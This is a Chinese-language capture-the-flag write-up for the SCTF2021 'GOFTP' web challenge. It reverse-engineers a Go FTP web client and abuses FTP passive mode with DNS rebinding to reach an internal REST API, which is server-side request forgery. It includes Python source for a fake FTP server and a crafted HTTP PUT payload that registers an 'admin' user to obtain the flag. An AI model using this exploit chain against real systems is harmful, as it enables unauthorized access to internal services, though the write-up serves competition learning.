# GOFTP

restful API在内网9000端口。

# How to Start and Stop  
## start  
```shell  
docker-compose up -d  
```

## stop  
```shell  
docker-compose down --rmi all  
```

# writeup  
此题的附件只给了一个二进制文件。而网站内容是一个ftp的web客户端，需要注册登录才能使用。

我们先逆向此二进制文件，尝试去理解其逻辑。

![image-20211230161845575](https://gitee.com/AFKL/image/raw/master/img/image-20211230161845575.png)

网站主要的函数如上，其中`ShowSecretPage`似乎比较惹人注目。其逻辑如下。

![image-20211230162003056](https://gitee.com/AFKL/image/raw/master/img/image-20211230162003056.png)

逻辑似乎是将读取`/flag`文件后，直接打印到浏览器里。我们看看这个controller录属于哪个路由。

![image-20211230162709650](https://gitee.com/AFKL/image/raw/master/img/image-20211230162709650.png)

![image-20211230162758453](https://gitee.com/AFKL/image/raw/master/img/image-20211230162758453.png)

在`SetRoute`逻辑中我们可以看到对应的路由。可以看到这个controller属于`/admin`和`/admin/index`两个路由。但`/admin`的路由组中有一个中间件是`adminSessionCheck`，跟踪到这个中间件的逻辑。

![image-20211230163152071](https://gitee.com/AFKL/image/raw/master/img/image-20211230163152071.png)

可以看到其是将session中的username属性拿出，用`strings.EqualFold`函数比较`admin`字符串，如果两者不相等则展示`forbidden.html`。

那么整个应用中唯一能与session交互的地方应该是注册和登录逻辑。

在注册逻辑中，用户禁止注册用户为`admin`的用户。且用的函数也是`strings.EqualFold`，不能在这里下手脚。  
![image-20211230163556765](https://gitee.com/AFKL/image/raw/master/img/image-20211230163556765.png)

![image-20211230163612212](https://gitee.com/AFKL/image/raw/master/img/image-20211230163612212.png)

在创建用户的时候，应用会调用`WebFTPClient_model_CreateUser`而这个函数，这个函数将我们输入的数据编码后，用`grequests`库发给某个地址的`/api/user`路由。

![image-20211230164239157](https://gitee.com/AFKL/image/raw/master/img/image-20211230164239157.png)

题目描述中告知了restful api在9000端口，那么这里应该就是与restapi进行通信了。  
这里获取`grequest`的发包方法有很多，这里就以`L3H_Sec`队伍的方法为例：  
```  
dlv挂上去断在json里调试看看config结构，写个config.json把服务跑起来，抓下注册请求的包， username改成admin。  
```

因为整个应用是一个ftp的客户端，那么我们可以利用被动模式将上传文件的数据传到内网的restapi服务。  
在upload逻辑中，我们可以看到应用调用了`goftp`库。

![image-20211230165349267](https://gitee.com/AFKL/image/raw/master/img/image-20211230165349267.png)

那么我们可以在github搜索到它的[源码](https://github.com/dutchcoders/goftp/blob/ed59a591ce14ff6c19c49be14294528d11a88c37/ftp.go#L419)。  
在这里我们看见，开发者可能是为了安全或者偷懒，忽略了我们被动连接的ip，直接使用了当前连接主机的地址。

![image-20211230165626301](https://gitee.com/AFKL/image/raw/master/img/image-20211230165626301.png)

但问题不大，我们可以使用dns rebinding来规避。  
为了dns rebinding成功，我使用了自己写的假ftp服务器。  
```python  
import socket  
import time  
import sys

sendfile_ip = "127.0.0.1:9000"

def ip2server(ip):  
host, port = str(ip).split(":")  
return ('0.0.0.0', int(port))

def ip2pasv(ip):  
host, port = str(ip).split(":")  
return tuple([int(i) for i in host.split(".")]) + (int(port) // 256, int(port)
% 256)

RETR_COMPLETE = b"226 Transfer complete.\r\n"  
ftp_table = {  
"USER" : b"331 Username ok, send password.\r\n",  
"PASS" : b"230 Login successful.\r\n",  
"TYPE" : b"200 Type set to: Binary.\r\n",  
"EPSV" : b"500 'EPSV': command not understood.\r\n",  
"RETR" : b"150 File status okay. About to open data connection.\r\n",  
"STOR" : b"150 File status okay. About to open data connection.\r\n",  
"QUIT" : b"221 Goodbye.\r\n",  
"PASV" : b"227 Entering passive mode (%d,%d,%d,%d,%d,%d).\r\n" %
(ip2pasv(sendfile_ip))  
}

s = socket.socket()  
s.bind(("0.0.0.0", int(sys.argv[1])))  
s.listen(1)

while True:  
print("="*30)  
c, addr = s.accept()  
print('已链接:', addr)

c.send(b'220 pyftpdlib 1.5.6 ready.\r\n')  
# time.sleep(10)  
while True:  
data = str(c.recv(1024).decode("utf-8")).replace("\n", "")  
print(addr, " -> self:", data)  
comm = data[:4]  
time.sleep(5)  
c.send(ftp_table.get(comm))  
print("self ->", addr, ":", ftp_table.get(comm).decode("utf-8").replace("\n",
""))

if comm == "RETR":  
c.send(RETR_COMPLETE)  
print("self ->", addr, ":", RETR_COMPLETE.decode("utf-8").replace("\n", ""))  
elif comm == "QUIT":  
c.close()  
break  
```

也可以使用`pyftpdlib`库。

在upload路由填上准备好的dns rebind域名和注册admin用户的http请求包文件上传文件  
```  
addr: ftp://fan:[email protected]:8877  
file: 文件内容如下

PUT /api/user HTTP/1.1  
Host: 127.0.0.1:9000  
User-Agent: GRequests/0.10  
Content-Length: 64  
Content-Type: application/json  
Accept-Encoding: gzip

{"email":"[email protected]","password":"123456","username":"admin"}  
```

当ftp的响应卡在150响应之后，代表ssrf成功。  
使用上面文件发送的账号登录，访问admin路由即可拿到flag。

Original writeup
(https://github.com/SycloverTeam/SCTF2021/tree/master/web/GOFTP).